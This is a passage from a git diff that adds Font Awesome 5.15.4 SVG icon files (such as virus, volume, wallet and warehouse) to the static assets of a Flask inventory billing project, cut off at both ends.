400.71c-5.42 3.62-7.7 9.63-7 15.29.62 5.01 3.57 9.75 8.72 12.33L64 448v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48l55.15-19.67c5.16-2.58 8.1-7.32 8.72-12.33.71-5.67-1.57-11.68-6.99-15.29zM224 128h192v64H224v-64zm-64 224v-64h320v64H160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/virus-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/virus-slash.svg new file mode 100644 index 00000000..97e2bb9a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/virus-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M114,227.6H92.4C76.7,227.6,64,240.3,64,256s12.7,28.4,28.4,28.4H114c50.7,0,76.1,61.3,40.2,97.1L139,396.8 c-11.5,10.7-12.2,28.7-1.6,40.2s28.7,12.2,40.2,1.6c0.5-0.5,1.1-1,1.6-1.6l15.2-15.2c35.8-35.8,97.1-10.5,97.1,40.2v21.5 c0,15.7,12.8,28.4,28.5,28.4c15.7,0,28.4-12.7,28.4-28.4V462c0-26.6,17-45.9,38.2-53.4l-244.5-189 C133.7,224.7,123.9,227.5,114,227.6z M617,505.8l19.6-25.3c5.4-7,4.2-17-2.8-22.5L470.6,332c4.2-25.4,24.9-47.5,55.4-47.5h21.5 c15.7,0,28.4-12.7,28.4-28.4s-12.7-28.4-28.4-28.4H526c-50.7,0-76.1-61.3-40.2-97.1l15.2-15.3c10.7-11.5,10-29.5-1.6-40.2 c-10.9-10.1-27.7-10.1-38.6,0l-15.2,15.2c-35.8,35.8-97.1,10.5-97.1-40.2V28.5C348.4,12.7,335.7,0,320,0 c-15.7,0-28.4,12.7-28.4,28.4V50c0,50.7-61.3,76.1-97.1,40.2L179.2,75c-11.1-11.1-29.4-10.6-40.5,0.5L45.5,3.4 c-7-5.4-17-4.2-22.5,2.8L3.4,31.5c-5.4,7-4.2,17,2.8,22.5l588.4,454.7C601.5,514.1,611.6,512.8,617,505.8z M335.4,227.5l-62.9-48.6 c4.9-1.8,10.2-2.8,15.4-2.9c26.5,0,48,21.5,48,48C336,225.2,335.5,226.3,335.4,227.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/virus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/virus.svg new file mode 100644 index 00000000..f44787ff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/virus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M483.55,227.55H462c-50.68,0-76.07-61.27-40.23-97.11L437,115.19A28.44,28.44,0,0,0,396.8,75L381.56,90.22c-35.84,35.83-97.11,10.45-97.11-40.23V28.44a28.45,28.45,0,0,0-56.9,0V50c0,50.68-61.27,76.06-97.11,40.23L115.2,75A28.44,28.44,0,0,0,75,115.19l15.25,15.25c35.84,35.84,10.45,97.11-40.23,97.11H28.45a28.45,28.45,0,1,0,0,56.89H50c50.68,0,76.07,61.28,40.23,97.12L75,396.8A28.45,28.45,0,0,0,115.2,437l15.24-15.25c35.84-35.84,97.11-10.45,97.11,40.23v21.54a28.45,28.45,0,0,0,56.9,0V462c0-50.68,61.27-76.07,97.11-40.23L396.8,437A28.45,28.45,0,0,0,437,396.8l-15.25-15.24c-35.84-35.84-10.45-97.12,40.23-97.12h21.54a28.45,28.45,0,1,0,0-56.89ZM224,272a48,48,0,1,1,48-48A48,48,0,0,1,224,272Zm80,56a24,24,0,1,1,24-24A24,24,0,0,1,304,328Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/viruses.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/viruses.svg new file mode 100644 index 00000000..87687321 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/viruses.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624,352H611.88c-28.51,0-42.79-34.47-22.63-54.63l8.58-8.57a16,16,0,1,0-22.63-22.63l-8.57,8.58C546.47,294.91,512,280.63,512,252.12V240a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.57c20.16,20.16,5.88,54.63-22.63,54.63H368a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.57a16,16,0,1,0,22.63,22.63l8.57-8.58c20.16-20.16,54.63-5.88,54.63,22.63V496a16,16,0,0,0,32,0V483.88c0-28.51,34.47-42.79,54.63-22.63l8.57,8.58a16,16,0,1,0,22.63-22.63l-8.58-8.57C569.09,418.47,583.37,384,611.88,384H624a16,16,0,0,0,0-32ZM480,384a32,32,0,1,1,32-32A32,32,0,0,1,480,384ZM346.51,213.33h16.16a21.33,21.33,0,0,0,0-42.66H346.51c-38,0-57.05-46-30.17-72.84l11.43-11.44A21.33,21.33,0,0,0,297.6,56.23L286.17,67.66c-26.88,26.88-72.84,7.85-72.84-30.17V21.33a21.33,21.33,0,0,0-42.66,0V37.49c0,38-46,57.05-72.84,30.17L86.4,56.23A21.33,21.33,0,0,0,56.23,86.39L67.66,97.83c26.88,26.88,7.85,72.84-30.17,72.84H21.33a21.33,21.33,0,0,0,0,42.66H37.49c38,0,57.05,46,30.17,72.84L56.23,297.6A21.33,21.33,0,1,0,86.4,327.77l11.43-11.43c26.88-26.88,72.84-7.85,72.84,30.17v16.16a21.33,21.33,0,0,0,42.66,0V346.51c0-38,46-57.05,72.84-30.17l11.43,11.43a21.33,21.33,0,0,0,30.17-30.17l-11.43-11.43C289.46,259.29,308.49,213.33,346.51,213.33ZM160,192a32,32,0,1,1,32-32A32,32,0,0,1,160,192Zm80,32a16,16,0,1,1,16-16A16,16,0,0,1,240,224Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/voicemail.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/voicemail.svg new file mode 100644 index 00000000..2d9fce28 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/voicemail.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 128a144 144 0 0 0-119.74 224H263.74A144 144 0 1 0 144 416h352a144 144 0 0 0 0-288zM64 272a80 80 0 1 1 80 80 80 80 0 0 1-80-80zm432 80a80 80 0 1 1 80-80 80 80 0 0 1-80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volleyball-ball.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volleyball-ball.svg new file mode 100644 index 00000000..55510abb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volleyball-ball.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M231.39 243.48a285.56 285.56 0 0 0-22.7-105.7c-90.8 42.4-157.5 122.4-180.3 216.8a249 249 0 0 0 56.9 81.1 333.87 333.87 0 0 1 146.1-192.2zm-36.9-134.4a284.23 284.23 0 0 0-57.4-70.7c-91 49.8-144.8 152.9-125 262.2 33.4-83.1 98.4-152 182.4-191.5zm187.6 165.1c8.6-99.8-27.3-197.5-97.5-264.4-14.7-1.7-51.6-5.5-98.9 8.5A333.87 333.87 0 0 1 279.19 241a285 285 0 0 0 102.9 33.18zm-124.7 9.5a286.33 286.33 0 0 0-80.2 72.6c82 57.3 184.5 75.1 277.5 47.8a247.15 247.15 0 0 0 42.2-89.9 336.1 336.1 0 0 1-80.9 10.4c-54.6-.1-108.9-14.1-158.6-40.9zm-98.3 99.7c-15.2 26-25.7 54.4-32.1 84.2a247.07 247.07 0 0 0 289-22.1c-112.9 16.1-203.3-24.8-256.9-62.1zm180.3-360.6c55.3 70.4 82.5 161.2 74.6 253.6a286.59 286.59 0 0 0 89.7-14.2c0-2 .3-4 .3-6 0-107.8-68.7-199.1-164.6-233.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-down.svg new file mode 100644 index 00000000..42349782 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M215.03 72.04L126.06 161H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.87z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-mute.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-mute.svg new file mode 100644 index 00000000..220d38e7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-mute.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zM461.64 256l45.64-45.64c6.3-6.3 6.3-16.52 0-22.82l-22.82-22.82c-6.3-6.3-16.52-6.3-22.82 0L416 210.36l-45.64-45.64c-6.3-6.3-16.52-6.3-22.82 0l-22.82 22.82c-6.3 6.3-6.3 16.52 0 22.82L370.36 256l-45.63 45.63c-6.3 6.3-6.3 16.52 0 22.82l22.82 22.82c6.3 6.3 16.52 6.3 22.82 0L416 301.64l45.64 45.64c6.3 6.3 16.52 6.3 22.82 0l22.82-22.82c6.3-6.3 6.3-16.52 0-22.82L461.64 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-off.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-off.svg new file mode 100644 index 00000000..4ca6ec98 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-off.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M215 71l-89 89H24a24 24 0 0 0-24 24v144a24 24 0 0 0 24 24h102.06L215 441c15 15 41 4.47 41-17V88c0-21.47-26-32-41-17z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-up.svg new file mode 100644 index 00000000..3025fd48 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/volume-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zm233.32-51.08c-11.17-7.33-26.18-4.24-33.51 6.95-7.34 11.17-4.22 26.18 6.95 33.51 66.27 43.49 105.82 116.6 105.82 195.58 0 78.98-39.55 152.09-105.82 195.58-11.17 7.32-14.29 22.34-6.95 33.5 7.04 10.71 21.93 14.56 33.51 6.95C528.27 439.58 576 351.33 576 256S528.27 72.43 448.35 19.97zM480 256c0-63.53-32.06-121.94-85.77-156.24-11.19-7.14-26.03-3.82-33.12 7.46s-3.78 26.21 7.41 33.36C408.27 165.97 432 209.11 432 256s-23.73 90.03-63.48 115.42c-11.19 7.14-14.5 22.07-7.41 33.36 6.51 10.36 21.12 15.14 33.12 7.46C447.94 377.94 480 319.54 480 256zm-141.77-76.87c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 228.28 336 241.63 336 256c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.86z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vote-yea.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vote-yea.svg new file mode 100644 index 00000000..e4f325af --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vote-yea.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M608 320h-64v64h22.4c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8H96v-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h576c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32zm-96 64V64.3c0-17.9-14.5-32.3-32.3-32.3H160.4C142.5 32 128 46.5 128 64.3V384h384zM211.2 202l25.5-25.3c4.2-4.2 11-4.2 15.2.1l41.3 41.6 95.2-94.4c4.2-4.2 11-4.2 15.2.1l25.3 25.5c4.2 4.2 4.2 11-.1 15.2L300.5 292c-4.2 4.2-11 4.2-15.2-.1l-74.1-74.7c-4.3-4.2-4.2-11 0-15.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vr-cardboard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vr-cardboard.svg new file mode 100644 index 00000000..8f0737e5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vr-cardboard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h160.22c25.19 0 48.03-14.77 58.36-37.74l27.74-61.64C286.21 331.08 302.35 320 320 320s33.79 11.08 41.68 28.62l27.74 61.64C399.75 433.23 422.6 448 447.78 448H608c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM160 304c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64zm320 0c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/walking.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/walking.svg new file mode 100644 index 00000000..1b68fdc6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/walking.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M208 96c26.5 0 48-21.5 48-48S234.5 0 208 0s-48 21.5-48 48 21.5 48 48 48zm94.5 149.1l-23.3-11.8-9.7-29.4c-14.7-44.6-55.7-75.8-102.2-75.9-36-.1-55.9 10.1-93.3 25.2-21.6 8.7-39.3 25.2-49.7 46.2L17.6 213c-7.8 15.8-1.5 35 14.2 42.9 15.6 7.9 34.6 1.5 42.5-14.3L81 228c3.5-7 9.3-12.5 16.5-15.4l26.8-10.8-15.2 60.7c-5.2 20.8.4 42.9 14.9 58.8l59.9 65.4c7.2 7.9 12.3 17.4 14.9 27.7l18.3 73.3c4.3 17.1 21.7 27.6 38.8 23.3 17.1-4.3 27.6-21.7 23.3-38.8l-22.2-89c-2.6-10.3-7.7-19.9-14.9-27.7l-45.5-49.7 17.2-68.7 5.5 16.5c5.3 16.1 16.7 29.4 31.7 37l23.3 11.8c15.6 7.9 34.6 1.5 42.5-14.3 7.7-15.7 1.4-35.1-14.3-43zM73.6 385.8c-3.2 8.1-8 15.4-14.2 21.5l-50 50.1c-12.5 12.5-12.5 32.8 0 45.3s32.7 12.5 45.2 0l59.4-59.4c6.1-6.1 10.9-13.4 14.2-21.5l13.5-33.8c-55.3-60.3-38.7-41.8-47.4-53.7l-20.7 51.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wallet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wallet.svg new file mode 100644 index 00000000..469c3ed4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wallet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M461.2 128H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h384c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h397.2c28.02 0 50.8-21.53 50.8-48V176c0-26.47-22.78-48-50.8-48zM416 336c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/warehouse.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/warehouse.svg new file mode 100644 index 00000000..e63ef12e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/warehouse.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/water.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/water.svg new file mode 100644 index 00000000..49ed92a6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/water.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M562.1 383.9c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144C540.6 93.4 520 85.4 504.2 73 490.1 61.9 470 61.7 456 73c-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wave-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wave-square.svg new file mode 100644 index 00000000..a5e352ac --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wave-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M476 480H324a36 36 0 0 1-36-36V96h-96v156a36 36 0 0 1-36 36H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h112V68a36 36 0 0 1 36-36h152a36 36 0 0 1 36 36v348h96V260a36 36 0 0 1 36-36h140a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H512v156a36 36 0 0 1-36 36z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/weight-hanging.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/weight-hanging.svg new file mode 100644 index 00000000..933a9ca3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/weight-hanging.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M510.28 445.86l-73.03-292.13c-3.8-15.19-16.44-25.72-30.87-25.72h-60.25c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96s-96 42.98-96 96c0 11.28 2.3 21.95 5.88 32h-60.25c-14.43 0-27.08 10.54-30.87 25.72L1.72 445.86C-6.61 479.17 16.38 512 48.03 512h415.95c31.64 0 54.63-32.83 46.3-66.14zM256 128c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/weight.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/weight.svg new file mode 100644 index 00000000..bc5f6606 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/weight.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 64h-25.98C438.44 92.28 448 125.01 448 160c0 105.87-86.13 192-192 192S64 265.87 64 160c0-34.99 9.56-67.72 25.98-96H64C28.71 64 0 92.71 0 128v320c0 35.29 28.71 64 64 64h384c35.29 0 64-28.71 64-64V128c0-35.29-28.71-64-64-64zM256 320c88.37 0 160-71.63 160-160S344.37 0 256 0 96 71.63 96 160s71.63 160 160 160zm-.3-151.94l33.58-78.36c3.5-8.17 12.94-11.92 21.03-8.41 8.12 3.48 11.88 12.89 8.41 21l-33.67 78.55C291.73 188 296 197.45 296 208c0 22.09-17.91 40-40 40s-40-17.91-40-40c0-21.98 17.76-39.77 39.7-39.94z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wheelchair.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wheelchair.svg new file mode 100644 index 00000000..c8e89324 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wheelchair.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496.101 385.669l14.227 28.663c3.929 7.915.697 17.516-7.218 21.445l-65.465 32.886c-16.049 7.967-35.556 1.194-43.189-15.055L331.679 320H192c-15.925 0-29.426-11.71-31.679-27.475C126.433 55.308 128.38 70.044 128 64c0-36.358 